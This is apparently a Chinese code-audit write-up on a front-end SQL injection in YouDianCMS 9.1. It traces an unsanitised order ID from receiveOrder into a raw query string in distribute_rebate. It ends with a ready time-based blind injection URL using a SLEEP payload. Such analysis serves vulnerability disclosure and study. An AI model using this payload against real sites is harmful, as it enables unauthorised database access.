YouDianCMS 9.1代码审计前台SQL注入分析

      htttp://localhost/?m=moudle&c=controller&a=action&id=xx

      `htttp://localhost/index.php/Member/User/Login/Var/Value`

  function receiveOrder(){    $m = D('Admin/Order');    $p['MemberID'] = session('MemberID');    $p['MemberName'] = session('MemberName');    $b = $m->confirmReceipt($_REQUEST['id'], $p);    $this->ajaxReturn(null, '确认收货成功' , 1);  }

function confirmReceipt($orderid, $p=array()){   $m = D('Admin/OrderLog');   $data['OrderID'] = intval($orderid);   $data['OrderLogType'] = 6;   if( isset( $p['MemberName']) ){ //会员自己操作      $data['Operator'] = $p['MemberName'];   }elseif(isset( $p['AdminName']) ){ //有管理员操作      $data['Operator'] = $p['AdminName'];   }   if( isset($p['OrderLogRemark'])){      $data['OrderLogRemark'] = $p['OrderLogRemark'];   }   $data['OrderLogTime'] = date('Y-m-d H:i:s');   $result = $m->add($data);   if($result){      //1. 设置订单状态      $this->setOrderStatus($orderid, 6, $p);      //2. 确认收货以后，赠送积分      $mp = D('Admin/Point');      $b = $mp->orderGivePoint($orderid);      //3. 三级分销，计算返利      $b = distribute_rebate($orderid);      //4. 自动成为分销商（必须放在最后）      auto_set_distributor($orderid);   }}

function setOrderStatus($orderid, $status, $p=array()){   return $this->setOrder($orderid, $status, false, false, $p);}

function orderGivePoint($OrderID){   $m = D('Admin/Order');   $where['OrderID'] = intval($OrderID);   var_dump($where);   $order = $m->where($where)->field('MemberID,OrderPoint')->find();   if( !empty($order) && $order['OrderPoint']>0){      $data['MemberID'] = $order['MemberID'];      $data['OrderID'] = intval($OrderID);      $data['PointValue'] = $order['OrderPoint'];      $data['PointType'] = 1;      $data['PointTime'] = date('Y-m-d H:i:s');      $result = $this->add($data);      return $result;   }   return false;}

function distribute_rebate($OrderID){  $m = D('Admin/Order');  $order = $m->where("OrderID=$OrderID")->field('MemberID,OrderNumber')->find();  $MemberID = $order['MemberID'];  $OrderNumber = $order['OrderNumber'];  //判断当前用户是否有分销功能  $canDistribute = can_distribute($MemberID);  if(!$canDistribute) return false;    //==计算总分成佣金==  $Commission = 0; //总分成佣金  $DistributeMode = $GLOBALS['Config']['DistributeMode'];  if($DistributeMode==1){ //1:按商品设置的分成金额          $mi = D('Admin/Info');    $Commission = $mi->getOrderCommission($OrderID);  }else{ //2:按订单设置的分成比例    //获取当前订单消费总额    $TotalOrderPrice = $m->getTotalOrderPrice($MemberID, $OrderID);    $OrderRate = doubleval($GLOBALS['Config']['OrderRate'])/100.0;    $Commission = $TotalOrderPrice * $OrderRate;  }  if( $Commission<=0 ) return false;    //==开始返利==  $CashTime = date('Y-m-d H:i:s');  $cash = array(); //返利数据  //1.自己返佣  $memberToUpgrade = array(); //记录可能会升级的分销商  $BuyerRate = doubleval($GLOBALS['Config']['BuyerRate'])/100.0;  if($BuyerRate>0){    $money = round($Commission * $BuyerRate, 2);    $cash[] = array(      'MemberID'=>$MemberID,      'CashQuantity'=>$money,      'CashType'=>5, //5:表示分销佣金      'CashStatus'=>1,      'CashTime'=>$CashTime,      'OrderID'=>$OrderID, //分佣时记录对应的订单ID      'CashRemark'=>"购买者自返佣，订单号：{$OrderNumber}",    );    $memberToUpgrade[] = $MemberID;  }  //2.下线返佣  $md = D('Admin/DistributorLevel');  $mm = D('Admin/Member');  $upline = $mm->getUpline($MemberID, $GLOBALS['Config']['ReturnGrade']);  foreach ($upline as $level=>$v){    $rate = $md->getCommissionRate($v['DistributorLevelID'], $level);    //参与返利的上线一定正常状态，否则不返利    if($v['IsCheck']==1 && $v['IsLock']==0 && $rate>0){      $money = $Commission * $rate;      $memberToUpgrade[] = $v['MemberID'];      $cash[] = array(        'MemberID'=>$v['MemberID'],        'CashQuantity'=>$money,        'CashType'=>5,  //5:表示分销佣金        'CashStatus'=>1,        'CashTime'=>$CashTime,        'OrderID'=>$OrderID, //分佣时记录对应的订单ID        'CashRemark'=>"订单号：{$OrderNumber}",      );      //模板变量      $var['CashQuantity'] = $money;      $var['OrderNumber'] = $OrderNumber;      $var['CashTime'] =  $CashTime;      $var['MemberName'] =  $v['MemberName'];      $var['MemberEmail'] =  $v['MemberEmail'];      $var['MemberMobile'] =  $v['MemberMobile'];      distribute_notify($var);    }  }  //3. 批量插入数据  if(count($cash)>0){    $mc = D('Admin/Cash');    $result = $mc->addAll($cash); //批量插入返利数据    if($result){      //4.相关会员，升级分销商等级      $md->upgradeDistributorLevel($memberToUpgrade);    }  }}

$order = $m->where("OrderID=$OrderID")->field('MemberID,OrderNumber')->find();

http://youdiancms.com/index.php/Member/Moblie/ReceiveOrder/id

$order = $m->where("OrderID=$OrderID")->field('MemberID,OrderNumber')->find();

http://youdiancms.io:8888/index.php/Member/Mobile/receiveOrder/id/1 AND (SELECT x FROM  (SELECT(SLEEP(5)))x)